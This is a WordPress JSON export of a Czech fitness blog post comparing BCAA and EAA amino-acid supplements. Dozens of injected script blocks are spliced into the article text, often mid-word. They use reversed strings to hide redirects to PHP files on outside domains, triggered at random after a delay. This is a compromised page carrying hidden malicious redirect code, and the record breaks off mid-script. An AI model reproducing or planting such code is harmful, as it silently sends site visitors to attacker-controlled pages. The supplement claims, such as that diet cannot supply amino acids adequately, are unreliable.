{"id":881,"date":"2023-04-26T11:32:07","date_gmt":"2023-04-26T11:32:07","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=881"},"modified":"2023-04-13T11:32:43","modified_gmt":"2023-04-13T11:32:43","slug":"je-mozne-nahradit-bcaa-esencialnimi-aminokyselinami","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/04\/26\/je-mozne-nahradit-bcaa-esencialnimi-aminokyselinami\/","title":{"rendered":"Je mo\u017en\u00e9 nahradit BCAA esenci\u00e1ln\u00edmi aminokyselinami?"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\"><strong>P\u0159edstavte si, \u017ee m\u00e1te volit mezi dv\u011bma produkty, jeden m\u00e1 na etiket\u011b n\u00e1pis EAA, druh\u00fd BCAA. Po kter\u00e9m s\u00e1hnout, abyste si zajistili dosa\u017een\u00ed optim\u00e1ln\u00edch tr\u00e9ninkov\u00fdch v\u00fdsledk\u016f?<\/strong><\/h3>\n\n\n\n<p>Aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem (BCAA) se t\u011b\u0161\u00ed obrovsk\u00e9 popularit\u011b p\u0159edev\u0161\u00edm d\u00edky sv\u00fdm anabolick\u00fdm a anti-katabolick\u00fdm \u00fa\u010dink\u016fm. Mezi BCAA pat\u0159\u00ed t\u0159i esenci\u00e1ln\u00ed aminokyseliny: leucin, izoleucin a valin, p\u0159i\u010dem\u017e plat\u00ed, \u017ee optim\u00e1ln\u00edho \u00fa\u010dinku dos\u00e1hnete p\u0159i dodr\u017een\u00ed n\u00e1sleduj\u00edc\u00edho pom\u011bru 2:1:1 (leucin: valin: izoleucin).<\/p>\n\n\n\n<p>Jsou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pr\u00e1v\u011b ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to aminokyseliny, po kter\u00fdch organismus s\u00e1hne b\u011bhem v\u00fdkonu, jakmile spot\u0159ebuje gluk\u00f3zu. Jejich unik\u00e1tn\u00ed struktura z&nbsp;nich \u010din\u00ed rychl\u00fd a dostupn\u00fd zdroj energie. Co\u017e v&nbsp;praxi tak\u00e9 znamen\u00e1, \u017ee \u010d\u00edm rychleji je dopln\u00edte, t\u00edm svi\u017en\u011bj\u0161\u00ed bude pr\u016fb\u011bh regenerace. \u0158ada spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f je ale s&nbsp;velk\u00fdm \u00fasp\u011bchem u\u017e\u00edv\u00e1 u\u017e p\u0159ed tr\u00e9ninkem, aby jich m\u011bli k&nbsp;dispozici dostate\u010dn\u00e9 mno\u017estv\u00ed, a\u017e t\u011blu dojdou z\u00e1soby glykogenu\/gluk\u00f3zy. <strong>Role a funkce BCAA<\/strong> je tedy zcela jasn\u00e1.<\/p>\n\n\n\n<p>Kdy\u017e se ale pod\u00edv\u00e1te do nab\u00eddky suplemen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch spole\u010dnost\u00ed, \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se setk\u00e1te tak\u00e9 produkty nazvan\u00fdmi <strong>EAA \u2013 esenci\u00e1ln\u00ed aminokyseliny<\/strong>. Ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00fdrobky obsahuj\u00ed v\u0161ech dev\u011bt esenci\u00e1ln\u00edch aminokyselin, tedy nikoliv pouze ty t\u0159i, kter\u00e9 spadaj\u00ed do BCAA. Nav\u00edc je zde histidin, lysin, methionin, fenylalanin, threonin a tryp<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tofan.<\/p>\n\n\n\n<p>Nab\u00edz\u00ed se tedy ot\u00e1zka, <strong>zda nen\u00ed pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce lep\u0161\u00ed (ve smyslu \u00fa\u010dinn\u011bj\u0161\u00ed) u\u017e\u00edvat produkt s&nbsp;obsahem v\u0161ech esenci\u00e1ln\u00edch aminokyselin v&nbsp;porovn\u00e1n\u00ed s&nbsp;produktem obsahuj\u00edc\u00edm v\u00fdhradn\u011b BCAA.<\/strong><\/p>\n\n\n\n<p>Abychom se dobrali odpov\u011bdi, poj\u010fme si v&nbsp;kr\u00e1tkosti zrekapitulovat, jak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to s&nbsp;aminokyselinami v&nbsp;lidsk\u00e9m t\u011ble vlastn\u011b chod\u00ed.<\/p>\n\n\n\n<p>Jedn\u00e1 se o z\u00e1kladn\u00ed stavebn\u00ed bloky sval\u016f (a dal\u0161\u00edch struktur). Aminokyseliny spojen\u00e9 speci\u00e1ln\u00edmi vazbami tvo\u0159\u00ed b\u00edlkoviny (proteiny). V&nbsp;praxi v\u0161e prob\u00edh\u00e1 tak, \u017ee pokud konzumujete n\u011bjak\u00e9 j\u00eddlo, je slo\u017eeno ze t\u0159\u00ed z\u00e1kladn\u00edch makro\u017eivin \u2013 b\u00edlkoviny, sacharidy a tuky. V&nbsp;procesu tr\u00e1ven\u00ed se b\u00edlkoviny \u0161t\u011bp\u00ed na jednotliv\u00e9 aminokyseliny a teprve ty mohou b\u00fdt n\u00e1le\u017eit\u011b vst\u0159eb\u00e1ny a vyu\u017eity. Lidsk\u00e9 t\u011blo vyu\u017e\u00edv\u00e1 dvacet r\u016fzn\u00fdch aminokyselin. Z&nbsp;nich o dev\u00edti mluv\u00edme jako o esenci\u00e1ln\u00edch (organismus je neum\u00ed s\u00e1m vytvo\u0159it, mus\u00ed b\u00fdt p\u0159ij\u00edm\u00e1ny ve strav\u011b \u010di suplementech). Jeden\u00e1ct zb\u00fdvaj\u00edc\u00edch jsou aminokyseliny non-esenci\u00e1ln\u00ed, tedy takov\u00e9, kter\u00e9 je t\u011blo schopno samo vyprodukovat z&nbsp;l\u00e1tek b\u011b\u017en\u011b p\u0159ij\u00edman\u00fdch ve strav\u011b. Obecn\u011b ale plat\u00ed, \u017ee optim\u00e1ln\u00ed fungov\u00e1n\u00ed lidsk\u00e9ho organismu zaji\u0161\u0165uje v\u0161ech dvacet aminokyselin.<\/p>\n\n\n\n<p>Ka\u017ed\u00e1 z&nbsp;nich m\u00e1 svoji specifickou funkci, zam\u011b\u0159\u00edme se na ty esenci\u00e1ln\u00ed a m\u016f\u017eeme si je ve stru\u010dnosti p\u0159edstavit:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Fenylalanin<\/strong> \u2013 je d\u016fle\u017eit\u00fd pro tvorbu ostatn\u00edch aminokyselin a protein\u016f, hraje roli v&nbsp;produkci enzym\u016f;<\/li>\n\n\n\n<li><strong>Histidin<\/strong> \u2013 produkuje histamin a zaji\u0161\u0165uje adekv\u00e1tn\u00ed ochrannou funkci myelinu;<\/li>\n\n\n\n<li><strong>Isoleucin<\/strong> \u2013 podporuje svalov\u00fd i energetick\u00fd metabolismus a imunitn\u00ed funkce;<\/li>\n\n\n\n<li><strong>Leucin<\/strong> \u2013 napom\u00e1h\u00e1 spr\u00e1vn\u00e9mu pr\u016fb\u011bhu proteosynt\u00e9zy a regenerace, \u00fa\u010dastn\u00ed se regulace hladiny cukru v&nbsp;krvi;<\/li>\n\n\n\n<li><strong>Lysin<\/strong> \u2013 zaji\u0161\u0165uje optim\u00e1ln\u00ed proteosynt\u00e9zu, v\u010detn\u011b produkce hormon\u016f a enzym\u016f;<\/li>\n\n\n\n<li><strong>Methionin<\/strong> \u2013 zaji\u0161\u0165uje spr\u00e1vn\u00fd r\u016fst tk\u00e1n\u00ed a \u0159adu metabolick\u00fdch funkc\u00ed;<\/li>\n\n\n\n<li><strong>Threonin<\/strong> \u2013 jeho role spo\u010d\u00edv\u00e1 zejm\u00e9na ve spr\u00e1vn\u00e9m pr\u016fb\u011bhu metabolismu tuk\u016f, zaji\u0161\u0165uje tak\u00e9 funkci imunitn\u00edho syst\u00e9mu a je nezbytnou sou\u010d\u00e1st\u00ed \u0159ady d\u016fle\u017eit\u00fdch b\u00edlkovin, nap\u0159\u00edklad kolagenu a elastinu;<\/li>\n\n\n\n<li><strong>Tryp<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tofan<\/strong> \u2013 napom\u00e1h\u00e1 udr\u017een\u00ed pozitivn\u00ed rovnov\u00e1hy dus\u00edku, je prekurzorem sero<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toninu;<\/li>\n\n\n\n<li><strong>Valin<\/strong> \u2013 podporuje r\u016fst sval\u016f a jejich regeneraci.<\/li>\n<\/ul>\n\n\n\n<p>Pro <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, kdo p\u0159i\u0161el nav\u00edc je\u0161t\u011b s&nbsp;ot\u00e1zkou, <strong>zda nen\u00ed mo\u017en\u00e9 doplnit ve\u0161ker\u00e9 aminokyselin prost\u0159ednictv\u00edm kvalitn\u00ed stravy,<\/strong> m\u00e1me jednu stru\u010dnou odpov\u011b\u010f: NEN\u00cd.<\/p>\n\n\n\n<p>A p\u0159id\u00e1v\u00e1me i vysv\u011btlen\u00ed, pro\u010d. Hlavn\u00edm d\u016fvodem je rychlost vst\u0159eb\u00e1v\u00e1n\u00ed. Kvalitn\u00ed aminokyselinov\u00fd suplement se v&nbsp;t\u011ble absorbuje velice rychle, cca b\u011bhem 15 minut. Za tak kr\u00e1tk\u00fd \u010das nejste schopni vst\u0159ebat aminokyseliny z&nbsp;klasick\u00e9 stravy.<\/p>\n\n\n\n<p>Tak\u017ee jsme zp\u011bt u <strong>souboje BCAA vs. EAA<\/strong> \u2013 <strong>je mo\u017en\u00e9 esenci\u00e1ln\u00edmi aminokyselinami \u201enahradit\u201c produkt obsahuj\u00edc\u00ed v\u00fdhradn\u011b BCAA? <\/strong>Zd\u00e1lo by se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to re\u00e1ln\u00e9, v\u017edy\u0165 konec konc\u016f EAA obsahuj\u00ed v\u0161echny BCAA, jen\u017ee\u2026.<\/p>\n\n\n\n<p><strong>BCAA jsou nej\u00fa\u010dinn\u011bj\u0161\u00ed, pokud je u\u017e\u00edv\u00e1te samotn\u00e9 bez dal\u0161\u00edch aminokyselin, a nav\u00edc v&nbsp;pot\u0159ebn\u00e9m pom\u011bru 2:1:1.<\/strong><\/p>\n\n\n\n<p>Pak v\u00e1m zajist\u00ed kvalitn\u00ed regeneraci a ochranu svalov\u00e9 hmoty, a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i v&nbsp;obdob\u00ed diety. Oproti <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 